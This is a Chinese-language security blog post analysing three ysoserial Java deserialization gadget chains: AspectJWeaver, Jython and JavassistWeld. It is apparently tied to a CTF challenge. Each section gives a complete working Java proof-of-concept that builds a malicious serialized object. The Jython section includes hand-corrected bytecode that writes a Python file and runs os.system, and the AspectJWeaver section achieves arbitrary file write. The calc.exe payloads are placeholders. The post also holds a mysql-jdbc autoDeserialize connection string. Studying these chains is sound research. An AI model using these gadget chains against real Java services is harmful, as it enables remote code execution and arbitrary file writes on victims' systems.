Diggid's Blog

Java 反序列化Gadgets分析 - AspectJWeaver/Jython/JavassistWeld

字数统计: 3.8k阅读时长: 16 min
2021/09/21 Share

前言

继续分析最后yso中最后四个Gadgets

AspectJWeaver

AspectJ 是 Eclipse 基金组织的开源项目,它是 Java 语言的一个 AOP 实现,是最早、功能比较强大的 AOP 实现之一,对整套 AOP 机制都有较好的实现,很多其他语言的 AOP 实现也借鉴或者采纳了 AspectJ 中的很多设计。在 Java 领域,AspectJ 中的很多语法结构基本上已经成为 AOP 领域的标准。

这条链子比较有意思,是一条任意文件写的链子,且出现在2021 AntCTF x D^3CTFnon RCE?这题中,出题师傅们拓宽了这条链子的攻击面,提出了在内嵌的java web容器(embeded java web容器)中从任意文件写到RCE的方式,主要有以下三种,需要结合题目的环境(mysql-jdbc反序列化、embeded tomcat)

  1. 反序列化加载恶意类。第一次反序列化的时候写入恶意类,第二次反序列化的时候反序列化该恶意类,可以执行该恶意类的readObject方法。
  2. 业务中使用class.forName,且类参数可控。比如 jdbc:mysql://x.x.x.x:3307/test?autoDeserialize5=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_URLDNS_http://x.x.x.x statementInterceptors 参数传入的就是一个类名,且会被传入forName方法中。
  3. 触发未被使用的类加载。利用的是JVM的缓存加载机制,简单来说就是一开始并不会加载初始化所有的类,而是加载初始化被使用到的类,其他类在后续使用时才会加载,比如一些异常类,当触发该异常时,才会进行加载。

题目相关可以参考:题目仓库wp

前置

SimpleCache$StoreableCachingMap

org.aspectj.weaver.tools.cache.SimpleCache这个类提供了缓存键值对的值内容到文件中的功能,其中键值对存方法在内部类StoreableCachingMap中,该类并没有实现Map,但定义了和Map类似的方法,这里重点关注一下put方法

image-20210926101430466

再跟进一下writeToPath方法,可以看到以key作为文件名,加上可控的成员变量folder和文件分隔符(/或者\),这样就可以实现任意文件路径可控,然后写入byte[]形式的value值

image-20210926101505056

复用CC5/6的LazyMap

连接SimpleCache$StoreableCachingMap#put可以使用CC1中的LazyMap来连接。

在CC1中,LazyMap是调用的get方法来连接transform链,而实际上,在调用完transform后,会将方法的返回值作为value,然后调用map.put(key,value)来存。所以这里我们控制map为SimpleCache$StoreableCachingMapfactory.transform(key)的返回值为要写入的内容byte[],key为传下来的文件名

image-20210926102021415

所以这里还要解决一下key的参数传递问题,我们来看一下CC链中使用了LazyMap的部分:

  • CC1:Map(Proxy).entrySet() -> AnnotationInvocationHandler.invoke() -> LazyMap.get(),参数无法传递
  • CC5:BadAttributeValueExpException.readObject() -> TiedMapEntry.toString() -> TiedMapEntry#getValue() -> LazyMap.get(),在TiedMapEntry#getValue()处,是单参数可控的
  • CC6简化链:HashMap.readObject() -> HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get(),解决CC5需要jdk > 8u76的问题

所以我们这里选择CC6来复用效果最佳

image-20210926102722350

而控制factory.transform(key)就使用CC1中的ConstantTransformer即可

利用链

1
2
3
4
5
6
7
8
9
HashMap.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
|ConstantTransformer.transform() -> 返回写入文件的内容
SimpleCache$S torableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class AspectJWeaverCC6 {
public static void main(String[] args) throws Exception{
String fileKey = "evil.txt";
String folder = "src/main/java/gadgets/aspectjweaver";
byte[] bytesValue = "hacked by diggid".getBytes(StandardCharsets.UTF_8);

Map storeableCachingMap = (Map) Reflections.newInstance("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap", new Object[]{folder, 10000}, new Class[]{String.class, int.class});

ConstantTransformer factory = new ConstantTransformer(bytesValue);
Map lazyMap = LazyMap.decorate(storeableCachingMap, factory);

TiedMapEntry tme = new TiedMapEntry(lazyMap, fileKey);
HashMap hm = new HashMap(2);
hm.put(tme, "xxx");
lazyMap.remove(fileKey);

Serializer.writeToFile(folder + "\\exp.bin", hm);
Serializer.readFromFile(folder + "\\exp.bin");
}
}

Jython

Jython是Python编程语言的JVM实现。 它旨在在Java平台上运行。 Jython程序可以导入和使用任何Java类。 就像Java一样,Jython程序编译为bytecode

Jython最重要的特性之一是它能够在Python程序中导入Java类。 我们可以在Jython中导入任何java包或类,就像在Java程序中一样。

Jython是python2的java实现,而python3.x还在开发中,所以python代码需要使用python2的语法

相关教程可以参考

前置

基本用法

和大部分的基于jvm的脚本语言(Groovy、Clojure、BeanShell)类似,Jython也是解释型语言,解析并执行基本上都离不开:对象的映射(java Object -> PyObject)、解析器(PythonInterpreter)、上下文、在java中执行的API(eval、exec等)

Jython中提供了三种执行python代码的方式

  • eval:简单的表达式执行,有点类似于python shell
  • exec:直接执行python字符串代码
  • execfile:执行文件中的python代码

示例用法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PythonInterpreter interpreter = new PythonInterpreter();
// 1.
String pythonCode = "import os\nos.system(\"calc\")\n";
interpreter.exec(pythonCode);

// 2.
String lambda = "1 + 1";
PyObject object = interpreter.eval(lambda);
System.out.println(object);

// 3.
String fileName = "src/main/java/gadgets/jython/test.py";
interpreter.execfile(fileName);

// 4.
String pythonCodeArgs = "def add(a,b):\n return a+b\n";
interpreter.exec(pythonCodeArgs);
PyFunction function = (PyFunction) interpreter.get("add");
PyObject ret = function.__call__(new PyObject[]{new PyString("a"), new PyString("b")});
System.out.println(ret)

PyFunction

这个类是Jython中python函数的封装实现,所有的python类型都是对象,所以PyFunction也继承了PyObject,而PyObject实现了Serializable接口,是可以被序列化的。既然是python函数的封装,必然存放了函数的相关信息,具体来看下其构造方法中设置的成员变量,这里解释一些主要的

image-20210926145238700

  • __globals__:PyStringMap对象,保存函数的上下文空间(作用域内的变量等),供函数使用
  • __name__:函数名
  • __doc__:函数文档
  • __code__:PyCode类型,存放函数主体代码,根据不同的PyCode子类形式存放

根据上面示例代码可以知道,调用PyFunction.__call__方法可以执行python函数,实际上是调用的PyCode#call方法来执行的,而PythonInterpreter#exec等,底层实际也是调用的PyCode#call

image-20210926145612911

注意到PyFunction还实现了InvocationHandler,所以可以作为一个代理类的handler,具体看一下invoke方法

  • 如果被代理方法的所属类是Object的话,那么直接反射调用
  • 否则,调用前面说的PyFunctio.__call__来执行,并传入经过Object[] -> PyObject[]转化的参数

image-20210926150232025

所以这里可以是一个动态代理的触发点,那么和之前的链子一样,可以选择HashMap代理Map#entrySet或者PriorityQueue代理Comparator#compare

PyCode

前面提到了__code__PyCode的形式保存真正的函数代码,而再细分一些有两种代码形式:PyByteCodePyTableCode

image-20210926150937455

我们先来看看PyTableCode。这个类有一个成员变量funcs,是PyFunctionTable类型的,调用PyTableCode#call实际上会委托调用PyFunctionTable#call_function方法去处理。

但是PyFunctionTable是个抽象类,在idea中查找其子类,会发现找不到。因为该类的子类是通过ASM的方式从字节码中动态生成类或调用defineClass 来定义生成的,具体逻辑在org.python.core.BytecodeLoader#makeCode方法。而以字节码方式动态生成的类,是没办法readObject来反序列化的,所以PyTableCode这个子类走不通。

image-20210926152330612

image-20210926152354917

但是PyByteCode可以实现我们的目的,关于PyByteCode的初始化及其成员变量,需要先了解一下.pyc文件和PyCodeObject的结构:

http://www.xumenger.com/01-python-pyc-20180521/

字段 类型 描述
MAGIC long 魔数,区别不同版本的Python字节码
MTIME long 修改时间
TYPE_CODE byte 表示这是一个PyCodeObject对象
co_argcount long 【PyCodeObject】位置参数个数
co_nlocals long 【PyCodeObject】局部变量个数
co_stacksize long 【PyCodeObject】栈大小
co_flags long 【PyCodeObject】
TYPE_STRING byte 表示这是一个字符串,对应PyCodeObject的co_code
co_code size long
co_code value bytes
TYPE_LIST byte 这是一个列表
co_consts size long 列表co_consts的元素个数
TYPE_INT byte
co_consts[0] long co_consts[0]是一个整型
TYPE_STRING byte
co_consts[1] size long co_consts[1]是一个字符串
co_consts[1] value bytes
TYPE_CODE byte
co_consts[2] long co_consts[2]又是一个PyCodeObject,它对应的代码可能是一个函数或类

可以通过python来打印出上述信息,注意要使用python2,否则打印出的co_code部分会不一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import dis
def execEvil(a, b):
f = open(a, 'w')
f.write(b)
f.close()
execfile(a)

if __name__ == '__main__':
print("co_code:", execEvil.__code__.co_code.encode("hex"))
print("co_name", execEvil.__code__.co_name)
print("co_names", execEvil.__code__.co_names)
print("co_consts", execEvil.__code__.co_consts)
print("co_varnames", execEvil.__code__.co_varnames)
print("co_filename", execEvil.__code__.co_filename)
print("co_argcount", execEvil.__code__.co_argcount)
print("co_stacksize", execEvil.__code__.co_stacksize)
print("co_nlocals", execEvil.__code__.co_nlocals)
print("co_flags", execEvil.__code__.co_flags)
print("co_lnotab", execEvil.__code__.co_lnotab)
print("co_firstlineno", execEvil.__code__.co_firstlineno)
print(dis.dis(execEvil.__code__))

image-20210926154758795

根据以上参数,对应Jython中PyByteCode的成员变量名即可完成初始化。

image-20210926152712768

image-20210926152705310

无法序列化的依赖

如果我们是将如下这段代码作为我们的恶意python函数的话

1
2
3
def hack():
import os
os.system("calc")

会出现无法序列化的报错。

原因是 Jython 有一个类 org.python.modules.posix.PosixModule,其用于封装python的os包的函数,即将os包的函数映射在PosixModule类的对应方法中

image-20210926155457376

而在实际调用时,用org.python.core.PyReflectedFunction这个类来封装,然后通过反射来执行PosixModule类中对于的方法,而PyReflectedFunction这个类会保存方法调用所需的参数,是ReflectedArgs类型存放,而该类没有实现Serializable接口,是无法被反序列化的,所以会报错。

也就是说,只要调用经过PyReflectedFunction封装的类(如PosixModule)对应的python包(如os),都无法进行序列化,这对我们payload的构造造成了极大的限制,再具体一点就是,如果我们在python代码中import os,并调用os.xxx,这样就不行

但是调用execfile执行python文件中的内容就不会受到此限制,所以我们可以通过以下方式来实现os库的调用

1
2
3
4
5
6
7
def execEvil(a, b):
f = open(a, 'w')
f.write(b)
f.close()
execfile(a)

execEvil("./evil.py", "import os\nos.system('calc')")

前面的生成PyByteCode初始化参数的代码就是这里的,直接拿来初始化即可。

错误的co_code

如果用上面生成的co_code来写在payload中的话,即这个co_code

1
7400007c00006401008302007d02007c02006a01007c0100830100017c02006a0200830000017403007c00008301000164000053

会报错

1
java.lang.ArrayIndexOutOfBoundsException: java.lang.ArrayIndexOutOfBoundsException: -1

定位一下报错点,发现是字处理pyc字节码的过程中,从stack中弹出了越界的元素。

image-20210928110053291

可是对照前面得到的字节码分析列表,下面部分的数据怎么看都没有错。而且尝试替换了stacksize为其他更大的数,仍然无果(当然这样换肯定不行)

image-20210928110146445

字节码对应的是opcode和操作数,于是便照着这两个java生成的字节码序列和前面python dis生成的opcode和操作数列表去调试了一下Jython的解析字节码过程

1
[116, 0, 0, 124, 0, 0, 100, 1, 0, -125, 2, 0, 125, 2, 0, 124, 2, 0, 106, 1, 0, 124, 1, 0, -125, 1, 0, 1, 124, 2, 0, 106, 2, 0, -125, 0, 0, 1, 116, 3, 0, 124, 0, 0, -125, 1, 0, 1, 100, 0, 0, 83]

image-20210928110446959

在这其中就发现了问题,当执行完STORE_FAST向堆栈中存入f变量后,发现接下来调用的是COMPARE_OP(106)而不是LOAD_FAST(105),然后经过替换,得到的co_code和java字节码如下

1
2
3
7400007c00006401008302007d02007c02006901007c0100830100017c0200690200830000017403007c00008301000164000053

[116, 0, 0, 124, 0, 0, 100, 1, 0, -125, 2, 0, 125, 2, 0, 124, 2, 0, 105, 1, 0, 124, 1, 0, -125, 1, 0, 1, 124, 2, 0, 105, 2, 0, -125, 0, 0, 1, 116, 3, 0, 124, 0, 0, -125, 1, 0, 1, 100, 0, 0, 83]

此时用上面的co_code去写payload就可以顺利弹出计算机了。

也就是说,通过python的execEvil.__code__.co_code.encode('hex')(python2)生成的co_code并不是完全正确的,需要对照dis.dis(execEvil.__code__)取手动修正

利用链

1
2
3
4
5
PriorityQueue.readObject()
Comparator(proxy).compare()
PyFunction.invoke()
PyFunction.invokeImpl()
PyBytecode.call() -> execfile的方式(python3中不行)

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class Jython1 {
public static void main(String[] args) throws Exception {
// 初始化一些参数
String path = "src/main/java/gadgets/jython/evil.py"; // 这里最好选常见的已知路径,比如/tmp/xxx.py
String code = "import os\nos.system('calc.exe')";
String byteCode = "7400007c00006401008302007d02007c02006901007c0100830100017c0200690200830000017403007c00008301000164000053";
System.out.println(Arrays.toString(new BigInteger(byteCode, 16).toByteArray()));
// 初始化PyByteCode
PyObject[] consts = new PyObject[]{PyNone.TYPE, new PyString("w")};
String[] names = new String[]{"open", "write", "close", "execfile"};
String[] varNames = new String[]{"a", "b", "f"};
PyBytecode pyBytecode = new PyBytecode(2, 3, 3, 67, "", consts, names, varNames, "pycode.py", "execEvil", 1, "");
// byteCode两位为一个16进制数,可以用new BigInteger( byteCode, 16).toByteArray()将连续的两位表示的十六进制数转为对应的字节数组。
// 比如7400007c -> [116, 0, 0, 124]
Reflections.setFieldValue(pyBytecode, "co_code", new BigInteger(byteCode, 16).toByteArray());

InvocationHandler pyFunction = new PyFunction(new PyStringMap(), null, pyBytecode);
Comparator proxy = (Comparator) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Comparator.class}, pyFunction);
PriorityQueue pq = new PriorityQueue(2);
pq.add("diggid");
pq.add("diggid");
Reflections.setFieldValue(pq, "queue", new Object[]{path, code});
Reflections.setFieldValue(pq, "comparator", proxy);

Serializer.writeToFile("src/main/java/gadgets/jython/exp.bin", pq);
Serializer.readFromFile("src/main/java/gadgets/jython/exp.bin");

}
}

JavassistWeld

前置

InterceptorMethodHandler

在javassist包中有javassist.util.proxy.MethodHandler类和javassist.util.proxy.Proxy类,类似于java.lang.reflect包中的InvocationHandler和Proxy,MethodHandle定义了invoke方法,子类InterceptorMethodHandler实现invoke方法且实现了Serializable接口,但其实invoke方法并不会像真正的handler那样在动态代理中调用,这里不是主要的关注点,我们需要关注一下executeInterception方法

image-20210927140236900

解读一下这个方法干了啥:

  1. InterceptionModel中取出所有的InterceptorMetadata,赋值给interceptorList
  2. 遍历所有的InterceptorMetadata,从其中取出SimpleInterceptorInvocationCustomInterceptorInvocation,将每一个都封装后存入interceptorInvocations
  3. interceptorInvocations实例化责任链对象SimpleInterceptionChain,初始化时,会将存在interceptorInvocations中的每一个InterceptorInvocation取出对应的InterceptorMethodInvocation集合,然后保存在成员变量interceptorMethodInvocations中,每一个InterceptorMethodInvocation都会作为责任链的一员
  4. 调用SimpleInterceptionChain#invokeNextInterceptor方法触发责任链的调用,依次调用责任链成员的invoke方法,也就是InterceptorMethodInvocation#invoke方法

而在InterceptorMethodHandler的readObject方法中,也调用了executeInterception

image-20210927142314880

再接着往下看,InterceptorMethodInvocation有两个子实现类,看一下SimpleMethodInvocation,其对应的是SimpleInterceptorInvocation

image-20210927142151479

可以看到invoke方法中有反射调用,且instance可控,再看一下method.getJavaMethod(),即调用DefaultMethodMetadata#getJavaMethod方法

image-20210927142718543

也是完全可控的,所以这里可以作为我们的Sink点。

这样一来,全是围绕着InterceptorMethodHandler去构造的链子,所以链子也不是很难,难的是写POC,这里就直接搬yso的POC了

利用链

1
2
3
4
5
InterceptorMethodHandler.readObject()
InterceptorMethodHandler.executeInterception()
SimpleInterceptionChain.invokeNextInterceptor()
SimpleMethodInvocation.invoke()
TemplatesImpl.newTransformer()

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class JavassistWeld1 {
public static void main(String[] args) throws Exception{
final Object gadget = Gadgets.createTemplatesImpl("calc");

InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);

Set<InterceptionType> s = new HashSet<InterceptionType>();
s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);

Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
Reflections.setAccessible(defaultMethodMetadataConstructor);
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));

List list = new ArrayList();
list.add(methodMetadata);
Map<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();

hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);

builder.interceptAll().with(simpleInterceptorMetadata);

InterceptionModel model = builder.build();

HashMap map = new HashMap();
map.put("ysoserial", "ysoserial");

DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();

InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {

public Object createFor(InterceptorReference paramInterceptorReference) {

return gadget;
}
};
InterceptorMethodHandler interceptorMethodHandler = new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
Serializer.writeToFile("src/main/java/gadgets/javassistweld/exp.bin", interceptorMethodHandler);
Serializer.readFromFile("src/main/java/gadgets/javassistweld/exp.bin");
}
}
CATALOG
  1. 1. 前言
  2. 2. AspectJWeaver
    1. 2.1. 前置
      1. 2.1.1. SimpleCache$StoreableCachingMap
      2. 2.1.2. 复用CC5/6的LazyMap
    2. 2.2. 利用链
    3. 2.3. POC
  3. 3. Jython
    1. 3.1. 前置
      1. 3.1.1. 基本用法
      2. 3.1.2. PyFunction
      3. 3.1.3. PyCode
      4. 3.1.4. 无法序列化的依赖
      5. 3.1.5. 错误的co_code
    2. 3.2. 利用链
    3. 3.3. POC
  4. 4. JavassistWeld
    1. 4.1. 前置
      1. 4.1.1. InterceptorMethodHandler
    2. 4.2. 利用链
    3. 4.3. POC